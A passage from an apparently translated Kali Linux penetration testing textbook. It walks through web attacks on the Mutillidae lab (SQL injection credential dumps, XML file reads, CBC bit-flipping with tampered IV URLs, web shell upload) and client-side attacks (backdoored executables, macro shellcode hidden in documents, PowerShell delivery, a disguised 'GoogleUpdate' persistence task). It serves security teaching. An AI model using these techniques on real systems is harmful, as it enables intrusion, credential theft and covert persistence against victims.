  ·网络架构，包括安全控制（防火墙、IDS/IPS和蜜罐）和配置（如负载均衡器）。


  ·主机网络服务系统的平台架构（硬件、操作系统和附加应用程序）。


  ·应用、中间件和终极数据库，它们可能采用不同的平台（UNIX或Windows）、供应商、编程语言，以及开源、商业和专用软件的组合。


  ·认证和授权过程，包括在应用程序中保持会话状态的过程。


  ·管理应用程序如何使用的基本业务逻辑。


  ·客户端与网络服务的交互与通信。


  鉴于网络服务的复杂性，适应每个网站的特殊架构和服务参数，对渗透测试者是非常重要的。同时，测试过程必须持续且确保没有遗漏。


  当前已经提出了几种方法可以实现这些目标。最广泛接受的是开放Web应用安全项目（Open Web Application Security Project，OWASP）（www.owasp.org），它列出了10大漏洞。


  作为一种最低标准，OWASP向测试人员提供了一个强有力的方向。然而，只专注于这10大漏洞显然不具有前瞻性，并且该方法已经暴露了一些缺口，特别是用该方法去寻找应用程序如何支撑商业活动的逻辑漏洞时。


  在使用“杀链”方法时，针对一些特定于Web应用侦察的活动，需要强调以下几点内容：


  ·确定目标Web应用，特别是关于在哪里，以及它是如何托管的。


  ·枚举目标网站的目录结构和文件，包括确定是否在用一个内容管理系统（Content Management System，CMS）。这可能包括下载网站做离线分析，包括文档的元数据分析，并利用网站创建一个自定义词表用于密码破解（使用crunch等工具）。它还确保识别所有支持文件。


  ·确定身份认证和授权机制，并确定在与网络服务的交易中，如何维护会话的状态。这通常包括利用代理工具对cookies的分析和使用。


  ·枚举所有的表格。这些是用户输入数据以及与Web应用服务进行交互的主要手段，这些都是一些可利用的漏洞的具体地点，如SQL/XML/JSON注入攻击、跨站脚本。


  ·确定接受输入的其他区域，如允许文件上传的页面，以及可接受的上传文件类型的任何限制。


  ·确定如何处理错误，以及由用户接收的实际的错误消息。该错误往往将提供有价值的内部信息，如使用的软件版本或内部的文件名和进程。


  首先进行如前所述的被动侦察和主动侦察（参见第2章和第3章）。


  尤其要确保识别托管的网站，然后使用DNS映射来确定由相同的服务器提供服务的主机位置。攻击最常见和最成功的方法之一，就是攻击位于目标服务器同一物理位置的非目标主机网站，利用服务器的弱点来获得root权限，然后使用特权升级攻击目标网站。


  这种方法对攻击共享的云环境特别有效，其中Web应用都托管在同一个软件即服务（Software as a Service，SaaS）的模型上。

 
 7.3.1　Web应用防火墙和负载均衡器检测
 
 下一步是确定存在的基于网络的防护设备，如防火墙、IDS/IPS和蜜罐技术。一个越来越普遍的防护设备是Web应用防火墙（Web Application Firewall，WAF）。
 
 如果使用了WAF，测试人员必须通过编码来确保绕过WAF，尤其是那些依赖于手工输入的攻击。
 
 WAF可以通过手动检查cookie（一些WAF标签或cookie修改，涉及Web服务器和客户端之间的通信），或者通过报头信息改变来识别（当一名测试人员使用命令行工具，如Telnet，连接到端口80时，会被识别）。
 
 WAF检测过程可以自动化，使用nmap的脚本http-waf-detect.nse，如图7-3所示。
 
 nmap脚本识别一个WAF的存在。然而，脚本测试已经被证明并不总是能得到准确的结果，返回的数据可能过于笼统，以致不能作为一个有效策略引导来绕过防火墙。
 
 wafw00f脚本是一个自动化的工具，可以识别和提取基于网络的防火墙指纹，测试已证明它是用于此目的最准确的工具。该脚本很容易从Kali调用，输出示例如图7-4所示。
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 图7-3　WAF检测过程
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 图7-4　wafw00f脚本检测
 
 负载均衡器（Load Balancing Detector，LBD）是一个bash shell脚本，确定一个给定的域是否使用了DNS或HTTP负载均衡。这从测试人员的角度而言是很重要的信息，因为当测试了一个服务器，它可以解释看似反常的结果，然后负载均衡器将请求转换到不同的服务器。lbd采用多种检查来识别负载均衡的存在。一个输出示例如图7-5所示。
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 图7-5　lbd使用
 
 
 7.3.2　指纹识别Web应用和CMS
 
 Web应用指纹识别是渗透测试人员了解运行的Web服务器、实现的Web技术版本和类型的第一项任务，这些会让攻击者确定已知的漏洞并适当利用。
 
 攻击者可以使用任何类型的可以连接远程主机的命令行工具。例如，在图7-6中，我们使用netcat命令连接受害者主机上的80端口，并发出HTTP HEAD命令来确定在服务器上运行的是什么。
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 图7-6　HTTP HEAD命令
 
 这会返回一个HTTP服务器响应，包括运行应用程序的Web服务器类型，server部分提供了应用构建技术的详细信息，本例中为PHP5.6.39。
 
 现在，攻击者就可以使用CVE Details（见https://www.cvedetails.com/vulnerabilit-list/vendor_id-74/product_id-128/PHP-PHP.html）等资源确定已知的漏洞。
 
 渗透测试的最终目标是获取敏感信息。该网站应进行检查以确定用于构建和维护它的CMS。CMS应用程序如Drupal、Joomla和WordPress等，可能是使用有漏洞的管理接口配置的，这种配置允许一个访问提升权限，或应用本身可能含有可利用的漏洞。
 
 Kali包括一个自动扫描器——BlindElephant，用于提取CMS指纹来确定版本信息。
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 输出示例如图7-7所示。
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 图7-7　使用BlindElephant的屏幕截图
 
 BlindElephant检查CMS组件的指纹，然后为当前的版本提供一个最好的猜测。然而，与其他的应用一样，我们已经发现它可能无法检测CMS。因此，总是通过针对特定的目录和文件抓取网站的其他扫描器验证其结果，或手动检查站点。
 
 一个特定的扫描工具，即自动化网络爬虫，可用来验证已收集的信息，以及确定特定网站的现有的目录和文件结构。网络爬虫的典型发现包括管理门户、可能包含硬编码访问凭据及内部结构信息的配置文件（当前及以前的版本）、网站的备份副本、管理员笔记、机密的个人信息和源代码。
 
 Kali支持多种网络爬虫，包括Free Burp Suite、DirBuster、OWASP-ZAP、Vega、WebScarab和WebSlayer。最常用的工具是DirBuster。
 
 DirBuster是图形用户界面驱动的，使用可能的目录和文件列表，对网站的结构进行暴力分析的应用程序。可以以表或树的格式查看响应，并且能准确地反映网站的结构。针对目标网站执行该程序的输出如图7-8所示。
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 图7-8　使用DirBuster暴力分析网站结构
 
 
 7.3.3　利用命令行设置镜像网站
 
 攻击者经常会花很多时间在识别特定页面/URL地址的漏洞上，所以一个基本步骤就是克隆或下载所有可用的本地网站信息，来缩小正确的入口点，或者执行社会工程学攻击来收集电子邮件地址和其他相关信息。
 
 另外，也可以直接复制一个网站到测试人员的位置。这允许测试人员轻松审查本地文件目录结构及其内容，提取元数据，并使用该网站的内容作为程序的输入，如crunch，这将产生一个个性化的词库来支持密码破解。
 
 如果你已经映射网站或网络服务的基本结构，那么杀链的下一个阶段就是确定可被利用的漏洞。
 
 Kali提供了一个内置的应用httrack，可将网站内容下载到本地系统。httrack是命令行，同时也是GUI的，广泛用于复制任何网站的本地副本。攻击者可以直接发出httrack http://targetwebapp/-O outputfolder命令，如图7-9所示。
 
 当httrack执行完成，测试人员就能够在本地加载应用程序并获取信息、识别实现缺陷。
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 图7-9　使用httrack
 

  7.4　客户端代理


  客户端代理截获HTTP和HTTPS流量，允许渗透测试人员检查用户与应用程序之间的通信。它允许测试人员复制数据或与发送到应用的请求进行交互。


  客户端代理最初被设计用来调试应用程序，这个功能可被攻击者滥用来执行中间人攻击或浏览器中间人攻击。


  Kali带有几个客户端代理，包括Burp Suite、OWASP ZAP、Paros、ProxyStrike、漏洞扫描器Vega和WebScarab。经过广泛的测试，我们已经开始依赖Burp代理，将ZAP作为一种备份工具。在本节中，我们将主要介绍关于Burp Suite的内容。

 
 7.4.1　Burp代理
 
 Burp主要用于拦截HTTP（S）流量。然而，这只是它作为一个大的工具套件的功能之一，还有一些附加功能，其中包括如下部分：
 
 ·应用感知爬虫用于爬取站点。
 
 ·漏洞扫描器，包括一个序列发生器，用于测试会话令牌的随机性，以及一个中继器，用于操作和重新发送客户端与网站之间的请求（Kali中打包的Burp代理的免费版不包含漏洞扫描器）。
 
 ·入侵者工具，可以用来发动自定义的攻击（Kali中包含的免费版本的工具的速度会受到限制。如果你购买了软件的商业版本，将不受这些限制）。
 
 ·能够编辑现有的插件或写新的插件，以扩展可以使用的攻击的数量和类型。
 
 要使用Burp，确保Web浏览器配置为使用本地代理。通常情况下，你需要调整网络设置，来指定HTTP和HTTPS流量必须使用本地主机（127.0.0.1）的8080端口。
 
 设置好浏览器后，在终端中运行burpsuite命令打开代理工具，手动映射应用程序到Target栏。这可以通过关闭代理拦截，然后浏览整个应用程序来完成。按照每一个环节，递交表格并登录该网站尽可能多的区域。从不同的响应，可以推断出一些额外的内容。
 
 站点地图将填充Target栏内的区域。也可以鼠标右键单击该网站，并选择Spider This Host来使用自动爬取。然而，手动技术给测试人员提供了一个深入了解目标的机会，并且它可以识别要避免的区域。例如/.bak文件或.svn文件，渗透测试人员在评估过程中常常忽略这些文件。
 
 一旦目标被映射，通过选择站点地图中的分支并使用Add to Scope命令来定义Target–Scope。一旦完成，你可以使用显示过滤器在站点地图上隐藏不感兴趣的项目。目标网站创建的站点地图如图7-10所示。
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 图7-10　目标网站创建的站点地图
 
 一旦爬虫任务完成，手动检查目录和文件列表，找出任何不是公共网站的一部分的结构，或无意中公开出现的结构，例如，名为admin、backup、documentation或notes的目录，都应进行人工审查。
 
 登录页面手动测试使用单引号作为输入，产生错误代码提示它可能是一个容易受到SQL注入攻击的漏洞，错误代码的返回样本如图7-11所示。
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 图7-11　返回错误代码
 
 代理的真正优势在于其拦截和修改命令的能力。在本例中，我们将使用Mutillidae来实施绕过SQL注入认证的攻击，其中Mutillidae是我们在第1章构建虚拟实验室时安装的Web应用。
 
 要发动这种攻击，确保Burp代理配置为拦截通信，转到Proxy栏，再选择Intercept（拦截）子选项卡。确保Intercept处于打开状态，如图7-12所示。准备工作完成后，打开浏览器窗口，并通过输入<IP address>/mutillidae/index.php?page=login.php访问Mutillidae登录页。输入用户名和密码，然后点击登录按钮。
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 图7-12　Burp 拦截的信息
 
 如果你返回Burp代理，将会看到该用户输入到网页上的表格中的信息被截获。
 
 单击Action按钮，并选择Send to Intruder（发送到入侵者）选项。如图7-13所示，打开主Intruder选项卡，你会看到4个子项：Target、Positions、Payloads和Options。
 
 如果选择Positions，你会看到来自截获信息的5个有效负载的位置。
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 图7-13　Intruder选项卡
 
 这种攻击将使用Burp代理的狙击手模式，从由测试者提供的列表中选取一个单一输入，同时，发送该输入到一个单一的有效负载位置。在这个例子中，我们的目标是username字段，它是基于返回的错误信息怀疑的漏洞所在。
 
 定义有效负载的位置，我们选择子项的Payloads选项，如图7-14所示。
 
 为了发动攻击，从顶部菜单选择Intruder，然后选择Start Attack。代理将对选定的有效负载位置如（合法的HTTP请求）遍历单词表，它将返回服务器的状态代码。
 
 正如你可以在图7-15中看到的，大多数选项产生200（请求成功）状态代码。然而，一些数据返回的是302（请求找到，表明所请求的资源目前位于不同的URI下）状态代码。
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 图7-14　选择Payloads选项
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 图7-15　攻击返回的状态代码
 
 出现302状态代码表示攻击成功，并且所获得的数据可以用来成功登录目标站点。
 
 不幸的是，对Burp代理及其功能的概述实在太简单。Kali中的Burp免费版可以满足许多测试任务。然而，严谨的测试人员（和攻击者）应该考虑购买商业版本，提供具有报告能力的自动扫描器选项以及用于自动化任务的插件。
 
 
 7.4.2　Web抓取和目录的暴力破解
 
 Web抓取是一种使用机器人或自动化脚本从网站获取特定信息的过程。Kali为执行此活动提供了内置的应用程序。Web抓取的好处是可以抽取数据，而不必手工地逐个执行攻击。
 
 攻击者可以利用WebSploit来执行Web扫描、抓取和分析。例如，为了在多个站点上识别phpmyadmin，攻击者可以通过在终端上运行WebSploit来配置WebSploit模块，输入use web/pma，使用set target victim来设置目标主机，运行后如图7-16所示。
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 图7-16　使用use web/pma
 
 攻击者还可以使用OWASP、DirBuster和其他工具来执行相同的操作。
 
 
 7.4.3　网络服务专用漏洞扫描器
 
 漏洞扫描器是自动运行的应用程序，抓取应用以确定已知漏洞的签名。
 
 Kali附带了几个预安装的漏洞扫描器。渗透测试人员通常会使用两个或三个全面扫描器对同一目标扫描，以确保有效的结果。需要注意的是一些漏洞扫描器也包括攻击的功能。
 
 漏洞扫描器是很“嘈杂”的，并且经常被受害人检测到。然而，作为常规的后端活动，扫描经常被忽略。事实上，一些攻击者已经知道通过针对目标发动大规模扫描，以伪装真实的攻击，或者诱使防护者禁用检测系统，以减少他们必须管理的报告的数量。
 
 一些重要的漏洞扫描器如表7-1所示。
 
 表7-1　一些重要的漏洞扫描器
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 Kali还包括一些应用特定的漏洞扫描器。例如，WPScan是专门针对WordPress CMS应用的。
 

  7.5　针对特定应用的攻击


  针对特定应用的攻击，多于针对特定操作系统的攻击。当人们考虑到可能影响每个在线应用的错误配置、漏洞和逻辑错误时，任何应用程序都可以认为是“安全的”，这是令人惊讶的。


  我们将重点介绍一些针对Web服务的重要攻击。

 
 7.5.1　暴力破解访问证书
 
 对网站或其服务最常见的初始攻击之一是针对访问认证的暴力破解攻击，猜测用户名和密码。这种攻击有很高的成功率，因为用户往往选择容易记住的凭据或重用凭据，并且系统管理员经常不控制多路访问尝试。
 
 Kali配备了hydra（一个命令行工具）和hydra-gtk（它有一个GUI界面）。这两种工具允许测试人员暴力破解或遍历特定的服务可能的用户名和密码。支持多种通信协议，包括FTP、FTPS、HTTP、HTTPS、ICQ、IRC、LDAP、MySQL、Oracle、POP3、pcAnywhere、SNMP、SSH、VNC等。
 
 图7-17展示了hydra使用暴力破解攻击判定HTTP页面的访问证书：
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 图7-17　使用hydra进行攻击
 
 
 7.5.2　注入
 
 本节我们将简要介绍攻击者常用的注入攻击。
 
 使用commix的OS命令行注入
 
 命令行注入开发（commix）是一种用Python编写的自动化工具，在Kali Linux中预编译，如果应用能够被命令注入，则它可以执行各种OS命令。它允许攻击者在应用的特定漏洞部分，甚至在HTTP头中进行注入。
 
 commix还在各种渗透测试框架中作为附加插件，如TrustedSec的渗透测试框架（Penetration Testers Framework，PTF）和OWASP的攻击Web测试框架（Offensive Web Testing Framework，OWTF）。
 
 通过在终端中输入commix–h，攻击者可以使用commix提供的所有功能。
 
 为了模拟使用commix的开发，我们将在有漏洞的Web服务器终端上执行如下命令：
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 当对目标URL运行commix工具时，渗透测试人员能够看到在目标服务器上执行命令的进度，以及漏洞的参数。在上述场景中，target_host是使用经典注入技术注入的漏洞，如图7-18所示。
 
 一旦注入成功，攻击者就可以在服务器上运行命令，例如dir，列出所有的文件和文件夹，如图7-19所示。
 
 SQL注入
 
 网站最常见并且可利用的漏洞是注入漏洞，当受害者网站不监控用户输入，允许攻击者与后台系统进行交互时，将发生注入攻击。攻击者可以通过精心设计的输入数据以修改或从数据库窃取内容，将一个可执行文件放到服务器上，或向操作系统发出指令。
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 图7-18　使用target-host注入
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 图7-19　commix成功后使用dir命令列出所有的文件和文件夹
 
 评估SQL注入漏洞最有用的工具之一是Sqlmap，它是一个Python工具，可以自动化Firebird、Microsoft SQL、MySQL（包括MariaDB）、Oracle、PostgreSQL、Sybase、SAP MaxDB数据库的侦察和利用。
 
 我们将展示针对Mutillidae数据库的SQL注入攻击。第一步是确定Web服务器、后台数据库管理系统和可用的数据库。
 
 启动一个虚拟机（如第1章所述），并访问Mutillidae网站。完成后，查看网页以确定一个接受用户输入的页面（例如，接受来自远程用户的用户名和密码的用户登录表单）。这些页面可能容易受到SQL注入攻击。
 
 然后在命令提示符下打开Kali，并输入以下内容（使用相应的目标IP地址）：
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 Sqlmap返回的数据如图7-20所示。
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 图7-20　使用Sqlmap返回数据
 
 最有可能用来存储应用程序数据的是mutillidae数据库。因此，我们将使用以下命令来检查数据库的所有表项：
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 执行上述命令后返回的数据如图7-21所示。
 
 在所有被枚举的表中，其中一个表的标题是accounts（见图7-22）。我们将试图从该部分表中转储数据。如果成功，即使进一步的SQL注入攻击失败，该账号凭据也将使我们能够返回数据库。
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 图7-21　显示mutillidae数据库表项
 
 为了转储凭据，请使用以下命令：
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 图7-22　获取表accounts的信息
 
 类似的攻击可用于从数据库中提取信用卡账号或其他保密信息。
 
 XML注入
 
 如今，大量的Web应用使用了可扩展标记语言（Extensible Markup Language，XML），其定义了一系列编码规则，使得人和机器都容易理解。XML注入利用XML应用或服务的逻辑漏洞，向XML结构或内容中注入攻击信息。
 
 这一节我们将学习如何实施XML注入，以及如何利用开发者遗留的典型错误配置获取底层操作系统的访问权限。
 
 根据以下步骤可以确定是否可以发起XML注入攻击：
 
 1.进入http:/Your IP/mutillidae/index.php?page=xml-validator.php页面，如图7-23所示。
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 图7-23　XML注入首页
 
 2.在表格中输入以下命令，查看能否获得有效响应：
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 如图7-24所示，上述代码应该显示“Hello”作为响应。
 
 3.如果服务器没有响应错误信息，则意味着系统可能存在XML注入漏洞。
 
 4.然后，创建一个负载，将SYSTEM加入变量，并调用一个本地文件：
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 如图7-25所示，攻击成功后，你可以看到该本地文件的内容。
 
 攻击者还可能通过获取整个系统的直接访问权限来进行PowerShell攻击。
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 图7-24　响应“Hello”
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 图7-25　获取本地文件的内容
 
 位翻转攻击
 
 大部分攻击者不太关注密码类的攻击，因为比较费时，并且需要大量算力破解密文以获取有用信息。但在某些情况下，密码学实现的逻辑比较容易理解。
 
 本节我们将学习位翻转（bit-flipping）攻击，其利用密码分块链（Cipher Block Chain，CBC）模式加密给定的明文。如图7-26所示，在CBC模式中，在加密一个分块前，通过创建一个分块逻辑链，明文会与上一个分组的加密输出结果进行异或（XOR）。
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 图7-26　CBC模式
 
 简而言之，异或比较两个值，不同则返回真（true）。
 
 这里潜在的攻击场景是什么呢？如果明文分块都要与前一个分块的加密信息进行异或，那么第一个分块的异或输入是什么呢？这里就需要一个初始向量。访问mutillidae导航到OWASP 2017>A1-Injection(Other)>CBC bit flipping：
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 测试人员可以看到如图7-27所示的画面。
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 图7-27　CBC bit flipping页面
 
 正如我们所看到的，当前运行应用的用户的用户ID和组ID分别都是100。你需要做的是成为组000中的用户000以变为高权限的root用户。
 
 我们唯一要做的就是修改初始向量值6bc24fc1ab650b25b4114e93a98f1eba。这是一个32个字符长度的十六进制数，即二进制长度为128位。然后，我们开始评估初始向量，通过依次访问将值分为两个字符一个分块，并改变URL中的值。
 
 ·http://192.168.0.101/mutillidae/index.php?page=view-user-privilege-level.php&iv=00c24fc1ab650b25b4114e93a98f1eba:不改变用户和组的ID。
 
 ·http://192.168.0.101/mutillidae/index.php?page=view-user-privilege-level.php&iv=6b004fc1ab650b25b4114e93a98f1eba:不改变用户和组的ID。
 
 如图7-28所示，在第5个分组6bc24fc100650b25b4114e93a98f1eba时，我们可以看到用户的ID发生了改变。
 
 测试者可以利用Python生成十六进制值，如下所示。我们将异或该值以获得结果000：
 
  
  [image: ] 
 
 
  
  [image: ] 
 
 
 图7-28　用户ID发生改变
 
 为了变成root用户，用户ID和组ID都需要为000，所以我们在所有分块重复上面的过程，直到值发生改变。最后，在第8个分块6bc24fc1ab650b14b4114e93a98f1eba时，组ID发生了改变。然后进行类似于用户ID的处理：
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 然后我们得到了如下结果：6bc24fc1aa650b24b4114e93a98f1eba。如图7-29所示，利用新的值替换初始向量，你应该就可以提升权限访问应用。
 
 使用Web Shell维持访问
 
 一旦入侵一台Web服务器及其服务，最重要的任务就是确保可以维持安全访问。这通常借助于一个Web Shell小程序来提供隐身后门访问，并允许使用系统命令，以方便进行后期利用活动。
 
 Kali附带了几个Web Shell。在这里，我们将使用流行的PHP Web Shell小程序Weevely。
 
 要了解其他技术，可以访问http://webshell-archive.org/。
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 图7-29　提升权限
 
 Weevely模拟一个远程会话，并允许测试人员或攻击者利用30多个模块进行后期开发利用，包括以下优势：
 
 ·浏览目标文件系统。
 
 ·从受感染的系统进行文件传输。
 
 ·对通用服务器错误配置执行审计。
 
 ·通过目标系统暴力破解SQL账户。
 
 ·产生逆向TCP外壳。
 
 ·在已被侵入的远程系统上执行命令，即使已应用PHP的安全性限制。
 
 最后，Weevely努力隐藏HTTP cookie中的通信以逃避检测。要创建Weevely，在命令提示符输入以下命令：
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 这将在路径root目录下创建filename.php文件。执行weevely的结果如图7-30所示。
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 图7-30　执行Weevely的结果
 
 导航到OWASP 2017>A6-security misconfiguration>unrestricted file upload。我们将利用mutillidae的文件上传漏洞。如图7-31所示，上传我们用weevely创建的filename.php文件到网站。
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 图7-31　上传filename.php文件
 
 要与Web Shell进行通信，在命令提示符输入以下命令，确保目标的IP地址、目录和密码变量被改变，以反映出那些被感染的系统：
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 在图7-32所示的例子中，利用whoami命令（指明当前系统），我们已经验证连接到了Web Shell。
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 图7-32　利用whoami命令
 
 Web Shell也可以用来建立一个反向外壳，连接回测试者，使用netcat或Metasploit框架作为本地监听器。这也可用以通过水平或垂直逐步提升特权来进一步攻击网络内部。
 

  7.6　小结


  在本章中，我们从攻击者的视角审视了Web应用及其提供的用户授权服务。我们应用了杀链的视角到Web应用和其服务，以理解侦察和漏洞扫描的正确使用。


  本章介绍了以下几种技术：首先我们关注黑客攻击Web应用时的思维导图，以及对Web应用进行渗透测试所使用的方法。然后，我们学习了如何使用客户端代理完成各种攻击，还学习了一系列暴力破解网站的工具，并通过Web应用介绍了操作系统级命令。


  最后我们介绍了一种特定于Web服务的Web Shell检查。


  在第8章中，我们将学习如何识别和攻击连接用户到Web服务的客户端漏洞，以及如何提升权限以实现这一目标。


  第8章　客户端利用


  本章我们将学习直接针对客户端应用程序的攻击策略。用户发动与客户端应用程序的交互，允许攻击者利用用户和应用程序之间的现有信任优势。社会工程学方法的使用也将提高客户端攻击成功的可能性。


  客户端攻击的目标系统通常是缺乏安全控制装置（尤其是防火墙和入侵检测系统）的企业系统。如果这些攻击成功，并且建立了持久稳定的通信，那么一旦客户端设备重新连接到该目标网络上，攻击者就可以用它发起攻击。


  通过本章的学习，你将学会如何使用下面的方法（工具）攻击客户端应用程序。


  ·后门可执行文件。


  ·执行恶意脚本攻击（CScript、VBScript和PowerShell）。


  ·利用浏览器开发框架（Browser Exploitation Framework，BeEF）。


  ·在渗透测试期间，配置跨站点脚本框架（Cross Site Scripting Framework，XSSF）。

 
 8.1　留后门的可执行文件
 
 留后门是一种绕过正常的安全验证、维护持续访问该系统的方法。任何网络间谍活动中，最薄弱的环节是人为因素。攻击者通常会利用最近已知或未知的漏洞，将它们嵌入受信任的可执行文件中，并且分发出去。在本节中，我们将深入探讨如何利用msfvenom在任何可执行文件中植入后门。
 
 msfvenom是使用Metasploit msfpayload和msfencode的独立负载发生器。截至2015年6月8日，msfvenom已经取代了msfpayload。引入该工具是为了使其标准化，并对渗透测试人员更有效。它是由Kali Linux默认安装的，当你在终端输入msfvenom-h，则必定会出现以下信息（见图8-1）。
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 图8-1　执行msfvenom-h截图
 
 以下命令将创建一个clone_file.exe可执行文件，其包括一个带有你的IP地址的reverse_tcp负载。
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 使用-p选项允许测试人员选择他们需要的负载以嵌入-k选项。我们将通过创建另一个线程来克隆可执行文件的行为。换句话说，它将克隆程序并插入reverse_tcp负载。-x选项复制具有相同特性的可执行模板。
 
 一个例子是，下载任何便携式程序。在本例中，我们将使用plink.exe制作game.exe，如图8-2所示。
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 图8-2　使用plink.exe
 
 攻击者可以利用编码器使攻击更有效。在本例中，我们将通过以下命令使用shikata_ga_nai：
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 最后，将创建一个具有正确有效负载和体系结构的编码文件，如图8-3所示。
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 图8-3　使用shikata_ga_nai的截图
 
 一旦可执行文件准备完成，你就可以应用社会工程学技术找到不同的方法交付文件，或者让用户直接从你选择的位置下载。
 
 在一切顺利完成后，攻击者将设置其系统以监听任何连接。在渗透测试期间，在不退出Metasploit控制台的情况下，重写有效负载、调回IP地址和端口号，以及停止后台会话都不太可行。可以按照如下步骤通过一个简单的metasploit脚本来完成配置：
 
 1.用以下特定于Metasploit的命令创建一个文件。在我们的例子中，将该文件命名为Listen：
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 2.创建脚本后，只需在终端中使用以下命令运行脚本文件：
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 3.一旦受害者打开可执行文件，就会在攻击者的控制台生成一个反向shell，如图8-4所示。
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 图8-4　攻击者控制台反向shell
 
 4.一旦系统建立了一个成功的Meterpreter会话，攻击者就可以通过输入sessions-i 1连接到会话，建立对系统全面的访问。
 
 [image: ]sessions-i 1这个数字可能根据有多少个目标打开可执行文件，并与攻击者建立反向shell会话而发生变化。
 

  8.2　使用恶意脚本攻击系统


  客户端脚本（如JavaScript、VBScript、PowerShell）被开发用于将应用程序逻辑和操作从服务器移动到客户端的计算机上。从攻击者或测试人员的角度来看，使用这些脚本有以下几个优势：


  ·大多数.com类型的网站都使用JavaScript作为主要的脚本语言。


  ·它们已经是目标原始操作环境的一部分，攻击者不需要传输大型编译器或其他辅助文件（如加密软件）到目标系统。


  ·脚本语言设计的目的是便于计算机操作，如配置管理和系统管理等。例如，它们可以用来发现和更改系统配置、访问注册表、执行程序、接入网络服务和数据库，并通过HTTP或电子邮件传输二进制文件。这样的标准脚本操作可以很容易地为测试人员所使用。


  ·因为它们原生于该操作系统环境，所以它们通常不会触发防病毒警报。


  ·它们很容易被使用，因为编写该脚本仅需要一个简单的文本编辑器。使用脚本发起攻击毫无障碍。


  从历史上看，JavaScript是用来发动攻击的首选脚本语言，因为JavaScript广泛用于大多数目标系统。由于JavaScript攻击的特点已经众所周知，我们将重点关注Kali如何使用更新的脚本语言：VBScript和PowerShell，使攻击变得容易。

 
 8.2.1　使用VBScript进行攻击
 
 可视化基本编辑脚本（Visual Basic Scripting，VBScript）是一个由微软开发的活动脚本语言（Active Scripting language）。它被设计成一种轻量级、可以执行小程序的Windows原生语言。自Windows 98以来，VBScript就被默认安装在Microsoft Windows发布的每一个桌面版本中，这使它成为客户端攻击的首选目标。在2018年8月，一个广为人知的高级持续性威胁（Advanced Persistent Threat，APT）利用了微软Windows中的VBScript引擎，它名为DarkHotel（Dark Seoul malware），利用的是IE11.0中的一个特定漏洞。
 
 要使用VBScript发起攻击，我们将从命令行中调用msfpayload：
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 注意，-f指定输出为一个VBA可执行文件。输出将显示为两个特定部分的文本文件，如图8-5所示。
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 图8-5　调用msfpayload
 
 要使用该脚本，打开Microsoft Office文档，并创建一个宏（具体命令将取决于使用的Microsoft Windows版本）。从下面给出的信息框中，复制文本的第一部分（从Sub Auto_Open()到最后的End Sub语句）到宏编辑器，并启用宏将其保存：
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 接下来，复制shellcode到实际的文档中。shellcode的部分摘录如图8-6所示。
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 图8-6　shellcode部分摘录
 
 shellcode被看作一个可用于执行攻击的脚本，所以你可能希望通过最小化字体大小和匹配文档背景颜色等方式，来隐藏或混淆shellcode。
 
 攻击者必须在Metasploit上设置一个监听器。在命令提示符下输入msfconsole后，攻击者通常会输入以下命令并设置主机、端口和负载等选项。此外，攻击者将配置连接自动转移到更稳定的explorer.exe进程，如下命令行所示：
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 把上述各行加入一个文件中，命名为vbexploit.rc，然后运行下面的命令：
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 当文件发送到目标，一旦被打开，目标就会弹出安全警告。因此，攻击者将使用社会工程学迫使预定的受害者选择Enable（启用）选项。最常见的方法之一就是在已配置的Microsoft Word文档或Excel电子表格中嵌入宏用来运行程序。
 
 启动该文件将创建一个反向的TCP。shell到攻击者，允许攻击者用于维持与目标的持久稳定连接，并执行随后的后期利用活动。
 
 为了扩展这种攻击方法，我们可以使用位于/usr/share/metasploit-framework/tools/exploit下的exe2vba，或直接在命令行输入msfexe2vba，将任何可执行文件转换成VBScript。
 
 在本例中，我们将使用之前创建的同样的.exe。例如，首先使用Metasploit框架创建一个后门。注意，X表示后门，将作为可执行文件（attack.exe）被创建，如图8-7所示。
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 图8-7　使用Metasploit创建后门
 
 接下来，使用以下命令执行exe2.vba，把可执行文件转换成VBScript（确保使用了正确的路径）：
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 这允许将可执行文件放置在微软的启用了宏的文档中，并发送给客户端。VBScript可用于执行反向shell和更改系统注册表，以确保shell保持持久稳定性。我们发现这种类型的攻击是绕过网络安全控制最有效的方法之一，并可用于维持到一个安全的网络的连接。
 
 从攻击者的角度来看，使用基于VBScript（曾经是一个强大的工具）的利用有一些显著的优势。但是，它正在迅速被一个更强大的脚本语言PowerShell所取代。
 
 
 8.2.2　使用Windows PowerShell攻击系统
 
 Windows PowerShell是一个用于系统管理的命令行shell及脚本语言。基于.NET框架，它扩展了VBScript的可用功能。该语言本身很容易扩展，因为它构建在.NET库之上，你可以从C#或者VB.NET语言合并代码。你也可以利用第三方库。除了具有扩展性外，它还是一种简洁的语言。仅用10行PowerShell代码就可完成100多行的VBScript代码所实现的功能！
 
 也许，PowerShell最好的特性是在大多数基于Windows的现代操作系统（Windows 7及更高版本）中默认可用，且不能被删除。
 
 为了发起攻击，我们将使用Metasploit框架的PowerShell Payload Web Delivery模块。该模块的目的是在目标系统上快速建立会话。该攻击不写入磁盘，因此几乎不可能触发客户端防病毒检测。发起攻击和可用模块的选项如图8-8所示。
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 图8-8　Metasploit框架的模块选项
 
 在攻击完成之前，攻击者必须为即将传入的shell脚本准备一个监听器（URIPATH由Metasploit随机生成，确保已为监听器设置了正确的URIPATH）。创建监听器的命令如下所示：
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 Metasploit框架将生成一个一行的Python脚本，可嵌入文档或者在目标上运行，如图8-9所示。
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 图8-9　生成Python脚本
 
 一个成功的攻击将在攻击者的系统上创建一个交互式的有限shell。
 
 [image: ]使用schtask命令让web_delivery持久稳定是可行的。
 
 以下命令将创建一项预定任务：GoogleUpdate，其登录系统后将执行powershell.exe（默认情况下，位于Windows\system32目录下）：
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 其他旨在支持后期利用活动的PowerShell脚本，可以在Kali的PowerSploit目录中找到。尽管PowerShell有很好的灵活性，但仍具有不足之处。
 
 例如，如果包含宏的文件被终端用户在一个持久机制应用之前关闭，则连接丢失。
 
 更重要的是，VBScript和PowerShell脚本只在微软环境中有用。为了扩展客户端的攻击范围，我们需要寻找一个可以被利用的通用客户端漏洞，而不用考虑其操作系统环境。这种漏洞的一个具体实例是跨站点脚本。
 
 
 8.3　跨站点脚本框架
 
 跨站点脚本（Cross-Site Scripting，XSS）漏洞是能在网站上找到的最常见的可利用漏洞。由于缺乏输入数据清理，XSS漏洞普遍存在。
 
